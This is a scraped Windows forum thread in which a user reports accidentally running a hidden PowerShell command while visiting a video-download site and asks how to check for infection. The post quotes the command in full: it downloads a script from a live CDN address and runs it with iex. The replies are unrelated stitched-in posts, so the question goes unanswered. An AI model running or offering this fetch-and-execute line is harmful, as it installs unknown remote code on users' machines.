Windows 10: by mistake I "run" a powershell prompt

Discus and support by mistake I "run" a powershell prompt in Windows 10 Gaming to solve the problem; by accident I run this prompt powershell.exe -W Hidden -command $url = 'https://keepmyfilehere.b-cdn.net/go/new1.txt'; $response = Invoke-WebRequest... Discussion in 'Windows 10 Gaming' started by aly hm, Oct 27, 2024.

  1. aly hm Win User

    by mistake I "run" a powershell prompt


    by accident I run this prompt powershell.exe -W Hidden -command $url = 'https://keepmyfilehere.b-cdn.net/go/new1.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text while trying to use this website https://notube.re/it/youtube-app-29 what should i do to check if my laptop is effected?

    :)
     
    aly hm, Oct 27, 2024
    #1
  2. Kursah Win User

    PowerShell instead of Commandline in Creators Update

    Interestingly enough my personal laptop just got the update...and still has Command Prompt listed, not PowerShell...

    Edit: Not that it matters...I use both regularly. *Toast :toast:
     
    Kursah, Oct 27, 2024
    #2
  3. Brink Win User
    My Solution using GPEDIT and PowerShell ISE...


    Great news on the sound playing now. It's always the simple mistakes that get us. *Party

    The command at step 10 was designed to run in a command prompt instead since that's what Task Scheduler uses.

    PowerShell -c (New-Object Media.SoundPlayer 'C:\Windows\Media\Distance Announcer\Shutdown.wav').PlaySync();
     
    Brink, Oct 27, 2024
    #3
  4. by mistake I "run" a powershell prompt

    Powershell or Command prompt !

    Good morning, I use SCANNOW occassionally going into Command prompt etc. I have just been reading that using it with Powershell is better because it is a more powerful tool would you agree ? Is there anything else you would suggest using with Powershell to keep my laptop running smoothly etc. I have run various health checks over the months to try and speed things up, along with start up programs and apps running in the background etc etc. !

    Regards Brian
     
    BRIAN LOFTHOUSE, Oct 27, 2024
    #4
Thema:

by mistake I "run" a powershell prompt

Loading...
  1. by mistake I "run" a powershell prompt - Similar Threads - mistake run powershell

  2. by mistake I "run" a powershell prompt

    in Windows 10 Software and Apps
    by mistake I "run" a powershell prompt: by accident I run this prompt powershell.exe -W Hidden -command $url = 'https://keepmyfilehere.b-cdn.net/go/new1.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text while trying to use this website...
  3. Command Prompt and Powershell will ONLY Run as Admin

    in Windows 10 Gaming
    Command Prompt and Powershell will ONLY Run as Admin: I am unable to open either Command Prompt or Powershell normally. If I select the "Run as Administrator" option they will both run fine. When I try to run them the box comes up for about 2 seconds and then closes. Nothing is ever displayed in the box.The problem is that I...
  4. Command Prompt and Powershell will ONLY Run as Admin

    in Windows 10 Software and Apps
    Command Prompt and Powershell will ONLY Run as Admin: I am unable to open either Command Prompt or Powershell normally. If I select the "Run as Administrator" option they will both run fine. When I try to run them the box comes up for about 2 seconds and then closes. Nothing is ever displayed in the box.The problem is that I...
  5. Command Prompt And PowerShell Run Automatically On Reboot

    in Windows 10 Gaming
    Command Prompt And PowerShell Run Automatically On Reboot: The last 3 times I've rebooted, I notice that the first thing to run is CMD.exe open window and if I do not immediately stop it, it launches I suspect command prompt lauches it PowerShell which runs a script open window and they both will close.I also suspect this is a virus...
  6. Command Prompt And PowerShell Run Automatically On Reboot

    in Windows 10 Software and Apps
    Command Prompt And PowerShell Run Automatically On Reboot: The last 3 times I've rebooted, I notice that the first thing to run is CMD.exe open window and if I do not immediately stop it, it launches I suspect command prompt lauches it PowerShell which runs a script open window and they both will close.I also suspect this is a virus...
  7. Command Prompt And PowerShell Run Automatically On Reboot

    in AntiVirus, Firewalls and System Security
    Command Prompt And PowerShell Run Automatically On Reboot: The last 3 times I've rebooted, I notice that the first thing to run is CMD.exe open window and if I do not immediately stop it, it launches I suspect command prompt lauches it PowerShell which runs a script open window and they both will close.I also suspect this is a virus...
  8. Powershell or Command prompt !

    in Windows 10 Gaming
    Powershell or Command prompt !: Good morning, I use SCANNOW occassionally going into Command prompt etc. I have just been reading that using it with Powershell is better because it is a more powerful tool would you agree ? Is there anything else you would suggest using with Powershell to keep my laptop...
  9. Command prompt, microsoft edge and powershell runs in the background?

    in AntiVirus, Firewalls and System Security
    Command prompt, microsoft edge and powershell runs in the background?: so I checked task manager, and found that command prompt, microsoft edge and powershell were running in the background consuming my cpu. It deletes itself as soon as I see it. I managed to end task all of them fast enough, but they keep coming back afterwards. I tried...
  10. How to always run Command Prompt and PowerShell as Administrator

    in Windows 10 News
    How to always run Command Prompt and PowerShell as Administrator: [ATTACH]How often do you need to run the Command Prompt or PowerShell as administrator on your Windows 10? For me what happens is, I often forget to right-click and select Run as administrator and I know it only when I get the error in running any command as shown in the...